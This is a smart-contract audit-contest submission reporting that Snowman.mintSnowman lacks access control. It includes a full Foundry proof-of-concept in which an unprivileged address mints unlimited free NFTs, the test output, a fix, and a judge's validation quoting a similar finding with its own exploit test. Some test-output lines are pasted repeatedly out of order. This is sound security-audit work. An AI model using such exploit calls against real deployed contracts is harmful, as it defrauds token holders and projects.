Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Missing access control in Snowman.mintSnowman lets anyone mint unlimited Snowman NFTs for free, with no Snow staked behind them

Anyone can call Snowman.mintSnowman directly, so NFT supply is unlimited, free, and no longer backed by staked Snow

Description

The README makes Snow the thing that earns the NFT. The Snow token "automatically makes one eligible to claim a Snowman NFT" (README.md:15), and "the staker receives Snowman NFTs in the value of how many Snow tokens they own" (README.md:17). SnowmanAirdrop.claimSnowman enforces this with three gates before it mints: a non-zero Snow balance, a signature from the receiver, and a Merkle leaf for (receiver, balance) (src/SnowmanAirdrop.sol:76-90). It then locks the receiver's Snow and calls the NFT contract (src/SnowmanAirdrop.sol:92-98).

But the function it calls has no caller check, no role and no cap. Any address can call it directly, for any receiver and any amount, with no Snow, proof, signature or payment. It mints through the same _safeMint and emits the same event as a claim, so a free NFT is indistinguishable from a claimed one. Snowman declares SM__NotAllowed, but never throws it, so nothing restricts who may mint. The airdrop's gates guard only the one route that happens to call this function.

// src/Snowman.sol
contract Snowman is ERC721, Ownable {
// >>> ERROR
error ERC721Metadata__URI_QueryFor_NonExistentToken();
@> error SM__NotAllowed(); // :20, declared, never thrown
...
// >>> EXTERNAL FUNCTIONS
@> function mintSnowman(address receiver, uint256 amount) external { // :36, no caller check
for (uint256 i = 0; i < amount; i++) {
@> _safeMint(receiver, s_TokenCounter); // :38, any receiver, any amount
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
​
// src/SnowmanAirdrop.sol
@> i_snowman.mintSnowman(receiver, amount); // :98, the only route the gates protect

It works on a fresh deployment or after claims, and after the 12-week farming window ends, when no more Snow can ever be made (test_F001_mintStaysOpenAfterSnowFarmingEnds below). Transferring ownership to the airdrop or renouncing it doesn't close it, because no function checks ownership (test_F001_ownerCantCloseTheMintByHandingOwnershipToTheAirdrop, test_F001_ownerCantCloseTheMintByRenouncing), and nothing in Snowman is upgradeable.

On intent: the README never says "only the airdrop may mint" in so many words, and test/TestSnowman.t.sol mints from an unprivileged address. But if open minting were intended, the airdrop's stake, signature and Merkle gates would guard nothing, and "eligible to claim" would mean nothing. SM__NotAllowed is declared in Snowman and never thrown, which reads as a forgotten guard. CodeHawks' validity guide lists "design opinions with no clear loss of funds indication" among findings that may be invalid. This isn't a design opinion: it's the airdrop's whole control on supply being bypassed, measured in the PoC below.

Risk

Likelihood: High. Anyone can call mintSnowman, at any time and from any state, for the cost of gas. It needs no role, balance, leaf, signature or ETH, and there's no end date.

Impact: High. The distribution the protocol exists to run no longer controls supply, which is a severe disruption of its core function. In the PoC, after a holder pays 5 ETH for one NFT through the airdrop, an address with no ETH or Snow mints 100 more (Foundry doesn't charge a pranked sender for gas; a real caller pays only gas, and nothing to the protocol), leaving 99% of the supply with nothing staked behind it. On the repo's build each free NFT costs 33,430 gas, and repeated calls have no cap: one address reaches 1,301 NFTs (test_F001_gasPerFreeNftAndNoCumulativeCap below). The free NFTs share the same contract, metadata and SnowmanMinted event as claimed ones. No funds are taken directly, and free mints don't block a later legitimate claim (test_F001_control_freeMintsDontBlockALaterClaim).

Proof of Concept

Save the file below as test/F001OpenMint.t.sol in the contest repository and run, from the repository root (no fork needed):

forge test --match-path test/F001OpenMint.t.sol -vvv

It imports only the repository's own src/ and script/ files and forge-std. It deploys the system in its own setUp with the repo's DeploySnowmanAirdrop script, so all the contracts are the real ones, and nothing is mocked or stubbed. The missing check is in Snowman.sol itself, so the result doesn't depend on the OpenZeppelin version; the gas figures use the repo's own build settings (via-IR, optimizer off). Actors:

  • Attacker: mallory, a fresh address with no role, balance or leaf.

  • Victim: alice, a listed holder who pays the full fee on the gated route, and the holders whose NFTs were meant to be backed by staked Snow.

  • Protocol: Snowman, Snow and SnowmanAirdrop.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
// Save as test/F001OpenMint.t.sol in the contest repository, then run:
// forge test --match-path test/F001OpenMint.t.sol -vvv
// It imports only the repository's own src/ and script/ files and forge-std.
​
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {DeploySnowmanAirdrop} from "../script/DeploySnowmanAirdrop.s.sol";
​
/// @title F-001 proof: anyone can mint Snowman NFTs directly, skipping every gate on the airdrop.
/// @notice The contracts come from the repo's own wiring, DeploySnowmanAirdrop. Nothing is mocked or stubbed.
/// Reachability: every vm.prank(mallory) in this file is a plain external call from an address with no
/// role, balance or leaf, which any sender can make on the real chain. Foundry doesn't charge a pranked
/// address for gas, so mallory's zero balance stands for "pays nothing beyond gas".
/// Actors:
/// - Attacker: mallory, a fresh address with no role, balance or leaf.
/// - Victim: the holders whose claimed NFTs were meant to be backed by staked Snow; alice is one, paying the full
/// fee on the gated route. The outsider in the control is another address with no leaf.
/// - Protocol: Snowman (src/Snowman.sol, whose mintSnowman has no access control), with Snow and SnowmanAirdrop.
contract F001OpenMintTest is Test {
/// @dev EIP-7825's per-transaction gas cap, in force on mainnet since Fusaka (after the contest); only used to log a rough count.
uint256 private constant TX_GAS_CAP = 16_777_216;
uint256 private constant FREE_MINTS = 100; // NFTs the Attacker mints in one call
​
/// @dev Everything the oracle compares before and after the trigger.
struct State {
uint256 nftSupply; // Snowman.getTokenCounter()
uint256 lockedSnow; // Snow held by the airdrop
uint256 snowSupply; // Snow.totalSupply()
uint256 ethInSnowContract; // ETH paid to the Snow contract
uint256 attackerEth; // Attacker's ETH
uint256 attackerSnow; // Attacker's Snow
uint256 attackerNfts; // Attacker's NFTs
}
​
Snow private snow; // Protocol
Snowman private nft; // Protocol
SnowmanAirdrop private airdrop; // Protocol
​
address private alice; // Victim
uint256 private aliceKey; // Victim's signing key
address private mallory; // Attacker
bytes32[] private aliceProof; // Victim's proof on the committed list
​
function setUp() public {
// The same call Helper.s.sol:33 makes, so no minter role or other wiring can be missing here.
(airdrop, snow, nft) = new DeploySnowmanAirdrop().deploySnowmanAirdrop(); // Protocol: the repo's own deployment
​
// Public fixture key, keccak256("alice"). Its address is entry 0 of script/flakes/output.json.
(alice, aliceKey) = makeAddrAndKey("alice"); // Victim: a listed holder
assertEq(alice, 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, "alice is the committed allowlist's first entry"); // she is on the committed list
​
// The attacker: a fresh address with no balance, not among the committed allowlist's five entries.
mallory = makeAddr("mallory"); // Attacker
​
// Entry 0's proof in script/flakes/output.json.
aliceProof = new bytes32[](3); // a three-step proof
aliceProof[0] = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52; // step 1
aliceProof[1] = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af; // step 2
aliceProof[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1; // step 3
}
​
function _state() private view returns (State memory s) {
s.nftSupply = nft.getTokenCounter();
s.lockedSnow = snow.balanceOf(address(airdrop));
s.snowSupply = snow.totalSupply();
s.ethInSnowContract = address(snow).balance;
s.attackerEth = mallory.balance;
s.attackerSnow = snow.balanceOf(mallory);
s.attackerNfts = nft.balanceOf(mallory);
}
​
function _log(string memory label, State memory s) private pure {
console2.log(label);
console2.log(" NFT supply (getTokenCounter):", s.nftSupply);
console2.log(" Snow locked in the airdrop:", s.lockedSnow);
console2.log(" Snow total supply:", s.snowSupply);
console2.log(" wei held by the Snow contract:", s.ethInSnowContract);
console2.log(" attacker wei:", s.attackerEth);
console2.log(" attacker Snow:", s.attackerSnow);
console2.log(" attacker NFTs:", s.attackerNfts);
}
​
/// @dev Alice approves and signs the raw digest, the one signature form the airdrop accepts (F-002).
function _claimAsAlice() private returns (uint256 tokenId) {
// prank: Alice is an ordinary holder approving the airdrop from her own account.
vm.prank(alice); // Victim calls
snow.approve(address(airdrop), 1); // approves her one unit
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, airdrop.getMessageHash(alice)); // signs the raw digest
tokenId = nft.getTokenCounter(); // the ID her claim will mint
airdrop.claimSnowman(alice, aliceProof, v, r, s); // the gated claim
}
​
/// @dev The gated route, paid in full at the fee the deploy script sets.
function _buyAndClaimAsAlice() private returns (uint256 tokenId) {
uint256 fee = snow.s_buyFee(); // the deploy script's fee, 5 ETH
// deal: a buyer holding exactly the fee in ETH is the ordinary case.
vm.deal(alice, fee); // Victim holds the fee
// prank: buySnow is open to anyone during the farming window.
vm.prank(alice); // Victim calls
snow.buySnow{value: fee}(1); // buys one unit
tokenId = _claimAsAlice(); // and claims it
}
​
/// @dev The finding's oracle. The tokenURI check compares two outputs of one deployment and never
/// asserts their bytes, so the CRLF in this checkout's img/snowman.svg can't affect it.
function test_F001_oracle_emptyAddressMintsFreeNftsIdenticalToAClaimedOne() public {
// Baseline: the gated route costs Alice the whole fee and locks her Snow.
uint256 claimedId = _buyAndClaimAsAlice(); // Victim: pays and claims one NFT
assertEq(nft.ownerOf(claimedId), alice); // she owns it
assertEq(alice.balance, 0, "Alice spent the whole fee"); // it cost her the fee
assertEq(address(snow).balance, 5 ether, "5 ETH at the deploy script's fee"); // the fee reached Snow
assertEq(snow.balanceOf(address(airdrop)), 1, "and her Snow is locked in the airdrop"); // and her Snow is locked
​
State memory pre = _state(); // snapshot
_log("BEFORE the free mint", pre); // log it
assertEq(pre.attackerEth, 0, "attacker starts with no ETH"); // Attacker: no ETH
assertEq(pre.attackerSnow, 0, "attacker starts with no Snow"); // no Snow
assertEq(pre.attackerNfts, 0, "attacker starts with no NFTs"); // no NFTs
​
// Trigger. prank: this is a plain external call from an address with no role and no leaf.
// No proof, signature, Snow or value is supplied, because the function asks for none.
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, FREE_MINTS); // 100 NFTs, straight from Snowman
​
State memory post = _state(); // snapshot after the trigger
_log("AFTER the free mint", post); // log it
​
// N1 is false: an address that isn't the airdrop minted.
assertEq(post.attackerNfts, FREE_MINTS, "N1 false: the attacker holds the NFTs it minted"); // Attacker holds 100
assertEq(post.nftSupply, pre.nftSupply + FREE_MINTS, "N1 false: supply rose without the airdrop"); // supply rose by 100
​
// N2 is false: supply now exceeds the Snow locked behind it.
assertEq(post.lockedSnow, pre.lockedSnow, "N2 false: no Snow was locked for these NFTs"); // nothing locked for them
assertGt(post.nftSupply, post.lockedSnow, "N2 false: NFT supply exceeds locked Snow"); // supply exceeds backing
​
// Nothing was paid to anyone, and no Snow moved or was created.
assertEq(post.attackerEth, pre.attackerEth, "attacker paid no ETH"); // no ETH paid
assertEq(post.attackerSnow, pre.attackerSnow, "attacker spent no Snow"); // no Snow spent
assertEq(post.snowSupply, pre.snowSupply, "no Snow was created"); // no Snow created
assertEq(post.ethInSnowContract, pre.ethInSnowContract, "no fee reached the Snow contract"); // no fee reached the Protocol
assertFalse(airdrop.getClaimStatus(mallory), "the airdrop never saw the attacker"); // the airdrop was skipped
​
// The result is the same token as a claimed one, and it trades the same way.
uint256 freeId = pre.nftSupply; // the first free token's ID
assertEq(nft.ownerOf(freeId), mallory); // the Attacker owns it
assertEq(nft.tokenURI(freeId), nft.tokenURI(claimedId), "free NFT's metadata equals the claimed NFT's"); // identical metadata
address buyer = makeAddr("buyer"); // a later buyer
// prank: the owner of a token transferring it is ordinary ERC721 use.
vm.prank(mallory); // Attacker calls
nft.transferFrom(mallory, buyer, freeId); // sells a free NFT on
assertEq(nft.ownerOf(freeId), buyer, "a free NFT transfers like a claimed one"); // it transfers like a claimed one
​
// The measured size of the break.
uint256 unbacked = post.nftSupply - post.lockedSnow; // NFTs with nothing behind them
console2.log("NFTs with nothing locked behind them:", unbacked); // log: 100
console2.log("share of supply, in basis points:", (unbacked * 10_000) / post.nftSupply); // log: 9900
console2.log("ETH Alice paid for 1 NFT:", pre.ethInSnowContract / 1 ether); // log: 5
console2.log("ETH the attacker paid for 100 NFTs:", pre.attackerEth - post.attackerEth); // log: 0
assertEq((unbacked * 10_000) / post.nftSupply, 9900, "99% of supply has nothing locked behind it"); // 99% unbacked
}
​
/// @dev The gates work. They just guard one route: the same outsider fails each of them and then
/// gets the NFT directly, keeping the Snow a claim would have locked.
function test_F001_control_gatesStopTheSameOutsiderOnTheAirdropRoute() public {
(address outsider, uint256 outsiderKey) = makeAddrAndKey("outsider"); // an address with no leaf
​
vm.expectRevert(SnowmanAirdrop.SA__ZeroAmount.selector); // gate 1: no Snow
airdrop.claimSnowman(outsider, aliceProof, 0, bytes32(0), bytes32(0)); // claim attempt
​
uint256 fee = snow.s_buyFee(); // the listed price
// deal: anyone can hold enough ETH to buy one unit.
vm.deal(outsider, fee); // it holds the fee
// prank: buySnow and approve are open to anyone, so an outsider can reach this state.
vm.startPrank(outsider); // it calls
snow.buySnow{value: fee}(1); // buys one unit
snow.approve(address(airdrop), 1); // and approves the airdrop
vm.stopPrank(); // end of its calls
​
vm.expectRevert(SnowmanAirdrop.SA__InvalidSignature.selector); // gate 2: no valid signature
airdrop.claimSnowman(outsider, aliceProof, 0, bytes32(0), bytes32(0)); // claim attempt
​
(uint8 v, bytes32 r, bytes32 s) = vm.sign(outsiderKey, airdrop.getMessageHash(outsider)); // it signs for itself
vm.expectRevert(SnowmanAirdrop.SA__InvalidProof.selector); // gate 3: not on the list
airdrop.claimSnowman(outsider, aliceProof, v, r, s); // claim attempt
assertEq(nft.balanceOf(outsider), 0, "the gated route gave the outsider nothing"); // the gates held
​
// prank: the same outsider, on the route with no gate.
vm.prank(outsider); // it calls
nft.mintSnowman(outsider, 1); // the ungated route
assertEq(nft.balanceOf(outsider), 1, "the direct route skips all three gates"); // it gets the NFT
assertEq(snow.balanceOf(outsider), 1, "and the outsider keeps the Snow"); // keeps its Snow
assertEq(snow.balanceOf(address(airdrop)), 0, "with nothing locked"); // and nothing is locked
}
​
/// @dev "About 33k gas per NFT", and "unlimited": no limit per call beyond gas, or across calls.
/// These figures cover the call only. An --isolate run gives the same numbers, so it adds no transaction costs.
function test_F001_gasPerFreeNftAndNoCumulativeCap() public {
// prank: same unprivileged sender as above. The first call makes the rest typical repeat mints.
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, 1); // a first mint, so the next is a typical repeat
​
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, FREE_MINTS); // 100 free NFTs in one call
uint256 gasFor100 = vm.lastCallGas().gasTotalUsed; // gas used by that call
console2.log("gas for 100 free NFTs:", gasFor100); // log: total
console2.log("gas per free NFT:", gasFor100 / FREE_MINTS); // log: per NFT
console2.log("free NFTs that fit in one transaction, roughly:", (TX_GAS_CAP * FREE_MINTS) / gasFor100); // log: per transaction
assertLt(gasFor100, TX_GAS_CAP, "100 free NFTs fit in one transaction"); // fits in one transaction
​
for (uint256 i = 0; i < 3; i++) { // three more calls
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, 400); // 400 more each time
}
assertEq(nft.balanceOf(mallory), 1301, "repeat calls keep adding, with no cap per address or overall"); // 1,301 in total
assertEq(snow.balanceOf(address(airdrop)), 0, "and nothing is locked behind any of them"); // none backed
}
​
/// @dev "At any time... There's no end date": the mint outlives every Snow route.
function test_F001_mintStaysOpenAfterSnowFarmingEnds() public {
uint256 start = block.timestamp; // deployment time
​
// warp: time passing needs nobody's cooperation. Farming ends 12 weeks after deployment.
vm.warp(start + 12 weeks); // time: farming is over
vm.expectRevert(Snow.S__SnowFarmingOver.selector); // earning is closed
snow.earnSnow(); // earn attempt
vm.expectRevert(Snow.S__SnowFarmingOver.selector); // buying is closed
snow.buySnow(1); // buy attempt
​
// prank: same unprivileged sender as above.
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, 5); // mints anyway
assertEq(nft.balanceOf(mallory), 5, "no more Snow can ever be made, yet NFTs still can"); // 5 NFTs
​
// warp: ten years on, for the same reason.
vm.warp(start + 12 weeks + 3650 days); // time: ten years later
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, 5); // mints again
assertEq(nft.balanceOf(mallory), 10, "still open"); // 10 NFTs
assertEq(snow.totalSupply(), 0, "with no Snow ever having existed"); // and no Snow exists
}
​
/// @dev "Ownable guards nothing": handing the NFT to the airdrop, the obvious repair, changes nothing.
function test_F001_ownerCantCloseTheMintByHandingOwnershipToTheAirdrop() public {
// prank: the deployer is the owner on the real system, and this is one of its only two powers.
vm.prank(nft.owner()); // the owner calls
nft.transferOwnership(address(airdrop)); // hands ownership to the airdrop
assertEq(nft.owner(), address(airdrop)); // the airdrop is now the owner
​
// prank: same unprivileged sender as above.
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, 1); // mints anyway
assertEq(nft.balanceOf(mallory), 1, "still open with the airdrop as owner"); // the mint is still open
}
​
/// @dev The owner's other power.
function test_F001_ownerCantCloseTheMintByRenouncing() public {
// prank: the deployer is the owner on the real system.
vm.prank(nft.owner()); // the owner calls
nft.renounceOwnership(); // gives up ownership
assertEq(nft.owner(), address(0)); // no owner left
​
// prank: same unprivileged sender as above.
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, 1); // mints anyway
assertEq(nft.balanceOf(mallory), 1, "still open with no owner"); // the mint is still open
}
​
/// @dev A limit on the impact: free mints don't stop a later claim. Nobody is denied anything.
function test_F001_control_freeMintsDontBlockALaterClaim() public {
// prank: same unprivileged sender as above.
vm.prank(mallory); // Attacker calls
nft.mintSnowman(mallory, FREE_MINTS); // 100 free NFTs
​
uint256 claimedId = _buyAndClaimAsAlice(); // Victim: pays and claims afterwards
assertEq(claimedId, FREE_MINTS, "the claim just takes the next id"); // her claim still works
assertEq(nft.ownerOf(claimedId), alice); // she owns it
assertEq(nft.getTokenCounter(), FREE_MINTS + 1); // 101 in total
}
}

Output, from a clean copy of the repository at commit 6efcb0f with its own foundry.toml:

[PASS] test_F001_oracle_emptyAddressMintsFreeNftsIdenticalToAClaimedOne() (gas: 9415317)
Logs:
BEFORE the free mint
NFT supply (getTokenCounter): 1
Snow locked in the airdrop: 1
Snow total supply: 1
wei held by the Snow contract: 5000000000000000000
attacker wei: 0
attacker Snow: 0
attacker NFTs: 0
AFTER the free mint
NFT supply (getTokenCounter): 101
Snow locked in the airdrop: 1
Snow total supply: 1
wei held by the Snow contract: 5000000000000000000
attacker wei: 0
attacker Snow: 0
attacker NFTs: 100
NFTs with nothing locked behind them: 100
share of supply, in basis points: 9900
ETH Alice paid for 1 NFT: 5
ETH the attacker paid for 100 NFTs: 0
[PASS] test_F001_control_gatesStopTheSameOutsiderOnTheAirdropRoute() (gas: 543728)
[PASS] test_F001_gasPerFreeNftAndNoCumulativeCap() (gas: 43338366)
Logs:
gas for 100 free NFTs: 3343070
gas per free NFT: 33430
free NFTs that fit in one transaction, roughly: 501
[PASS] test_F001_gasPerFreeNftAndNoCumulativeCap() (gas: 43338366)
Logs:
gas for 100 free NFTs: 3343070
gas per free NFT: 33430
free NFTs that fit in one transaction, roughly: 501
[PASS] test_F001_mintStaysOpenAfterSnowFarmingEnds() (gas: 530413)
[PASS] test_F001_oracle_emptyAddressMintsFreeNftsIdenticalToAClaimedOne() (gas: 9415317)
Logs:
BEFORE the free mint
NFT supply (getTokenCounter): 1
Snow locked in the airdrop: 1
Snow total supply: 1
wei held by the Snow contract: 5000000000000000000
attacker wei: 0
attacker Snow: 0
attacker NFTs: 0
AFTER the free mint
NFT supply (getTokenCounter): 101
Snow locked in the airdrop: 1
Snow total supply: 1
wei held by the Snow contract: 5000000000000000000
attacker wei: 0
attacker Snow: 0
attacker NFTs: 100
NFTs with nothing locked behind them: 100
share of supply, in basis points: 9900
ETH Alice paid for 1 NFT: 5
ETH the attacker paid for 100 NFTs: 0
[PASS] test_F001_ownerCantCloseTheMintByHandingOwnershipToTheAirdrop() (gas: 176105)
[PASS] test_F001_ownerCantCloseTheMintByRenouncing() (gas: 165219)
Suite result: ok. 7 passed; 0 failed; 0 skipped; finished in 231.56ms (300.16ms CPU time)
[PASS] test_F001_ownerCantCloseTheMintByRenouncing() (gas: 165219)
Suite result: ok. 7 passed; 0 failed; 0 skipped; finished in 231.56ms (300.16ms CPU time)
[PASS] test_F001_control_freeMintsDontBlockALaterClaim() (gas: 3817622)
[PASS] test_F001_control_gatesStopTheSameOutsiderOnTheAirdropRoute() (gas: 543728)
[PASS] test_F001_gasPerFreeNftAndNoCumulativeCap() (gas: 43338366)
Logs:
gas for 100 free NFTs: 3343070
gas per free NFT: 33430
free NFTs that fit in one transaction, roughly: 501

Before the free mint there is 1 NFT, backed by 1 locked Snow, and Snow holds the 5 ETH Alice paid. After it there are 101 NFTs, still only 1 Snow locked, with no new Snow and no new ETH, and the attacker holds 100 NFTs it paid nothing for. A free NFT has the same tokenURI as the claimed one and transfers the same way.

The control, test_F001_control_gatesStopTheSameOutsiderOnTheAirdropRoute, shows the airdrop's gates work on their own route. The same outsider is refused with no Snow, with no valid signature, and with no leaf. It then gets the NFT directly from mintSnowman and keeps its Snow.

The other tests give the figures in the Risk section. test_F001_gasPerFreeNftAndNoCumulativeCap measures 3,343,070 gas for 100 free NFTs, 33,430 each, and reaches 1,301 NFTs for one address with nothing locked behind any of them. The mint stays open after farming ends and ten years later, with no Snow ever having existed, and after ownership is handed to the airdrop or renounced. A later legitimate claim still works and just takes the next token ID. The rough count of NFTs per transaction in the log uses EIP-7825's 16,777,216 gas cap, which came into force after the contest, so it's context only.

Recommended Mitigation

Restrict mintSnowman to the airdrop, using the error the contract already declares. Snowman is deployed before the airdrop, whose constructor takes Snowman's address, so the owner sets the airdrop once and the setter can't be called again:

// >>> VARIABLES
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
+ address private s_airdrop;
​
...
​
// >>> EXTERNAL FUNCTIONS
+ function setAirdrop(address airdrop) external onlyOwner {
+ if (s_airdrop != address(0)) {
+ revert SM__NotAllowed();
+ }
+ s_airdrop = airdrop;
+ }
+
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) {
+ revert SM__NotAllowed();
+ }
+
for (uint256 i = 0; i < amount; i++) {

Notes:

  • The setter uses the Ownable that Snowman already inherits, so only the owner can set the airdrop.

  • Before the airdrop is set, nobody can mint, the owner included. Making mintSnowman onlyOwner and transferring ownership to the airdrop would also close the mint, but it's weaker, because the deployer could mint before handing ownership over.

  • Deploy script: update DeploySnowmanAirdrop to call the setter. Snowman's owner is the broadcasting sender, so that call needs its own broadcast. Update test/TestSnowman.t.sol to mint through the airdrop.

  • Tested: this exact change was checked on a patched copy of Snowman. The attack reverts with SM__NotAllowed, and all five listed accounts still earn and claim.

  • Trade-off: the setting is permanent, so Snowman is tied to one airdrop, and any later airdrop change means redeploying both contracts.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 19 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!